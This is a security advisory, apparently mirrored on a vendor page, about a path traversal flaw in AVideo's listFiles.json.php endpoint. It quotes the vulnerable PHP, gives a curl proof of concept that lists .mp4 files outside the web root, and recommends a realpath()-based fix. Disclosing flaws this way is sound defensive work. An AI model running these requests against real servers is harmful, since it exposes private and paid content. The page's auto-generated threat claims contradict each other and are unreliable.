Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-4wmm-6qxj-fpj4
No affected components available
Summary
The listFiles.json.php endpoint accepts a path POST parameter and passes it directly to glob() without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating .mp4 filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories.
Details
The vulnerable code is at objects/listFiles.json.php:8-45:
if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
return false;
}
$global['allowed'] = ['mp4'];
// ...
if (!empty($_POST['path'])) {
$path = $_POST['path'];
if (substr($path, -1) !== '/') {
$path .= "/";
}
if (file_exists($path)) {
$extn = implode(",*.", $global['allowed']);
$filesStr = "{*." . $extn . ",*." . strtolower($extn) . ",*." . strtoupper($extn) . "}";
$video_array = glob($path . $filesStr, GLOB_BRACE);
foreach ($video_array as $key => $value) {
$filePath = mb_convert_encoding($value, 'UTF-8');
// ...
$obj->path = $filePath; // Full absolute path returned to caller
The $_POST['path'] value is used directly in glob() with no call to realpath() for normalization and no prefix check against a permitted base directory (e.g., $global['systemRootPath'] . 'videos/'). The response includes obj->path containing the full absolute filesystem path of each matched file.
The extension filter ({*.mp4,*.mp4,*.MP4}) limits results to .mp4 files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as:
- Premium/paid content directories
- Private or unlisted media stores
- Backup directories containing
.mp4files - Paths revealing sensitive server directory structure
canUpload is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust.
PoC
# Step 1: Authenticate as any user with canUpload permission
# (standard uploader account)
# Step 2: Enumerate MP4 files in the web root (expected behavior)
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
-d "path=/var/www/html/videos/"
# Returns: [{"id":0,"path":"/var/www/html/videos/video1.mp4","name":"video1.mp4"}, ...]
# Step 3: Traverse outside intended directory to private content store
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
-d "path=/var/private/premium-content/"
# Returns: [{"id":0,"path":"/var/private/premium-content/paywalled-video.mp4","name":"paywalled-video.mp4"}, ...]
# Step 4: Enumerate root filesystem for any MP4 files
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
-d "path=/"
# Returns all .mp4 files visible to the web server process anywhere on disk
Expected behavior: Only files within the designated upload directory should be listable. Actual behavior: Files from any path readable by the web server process are returned with full absolute paths.
Impact
- Unauthorized media enumeration: An uploader can discover private, premium, or access-controlled
.mp4files stored outside their permitted directory. - Filesystem structure disclosure: Full absolute paths reveal server directory layout, aiding further attacks.
- Content bypass: In AVideo deployments where premium video files are stored in filesystem directories not protected by application access control, this exposes the filenames and paths needed to directly access them if other path traversal or direct-file-access weaknesses are present.
- Blast radius: Requires
canUploadpermission (low privilege), but this is the standard permission for all video uploaders on a multi-user AVideo instance.
Recommended Fix
Restrict the supplied path to an allowed base directory using realpath():
if (!empty($_POST['path'])) {
$allowedBase = realpath($global['systemRootPath'] . 'videos') . '/';
$path = realpath($_POST['path']);
// Reject paths that don't start with the allowed base
if ($path === false || strpos($path . '/', $allowedBase) !== 0) {
http_response_code(403);
echo json_encode(['error' => 'Path not allowed']);
exit;
}
$path .= '/';
// ... continue with glob
}
realpath() resolves ../ sequences before the prefix check, preventing traversal bypasses.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard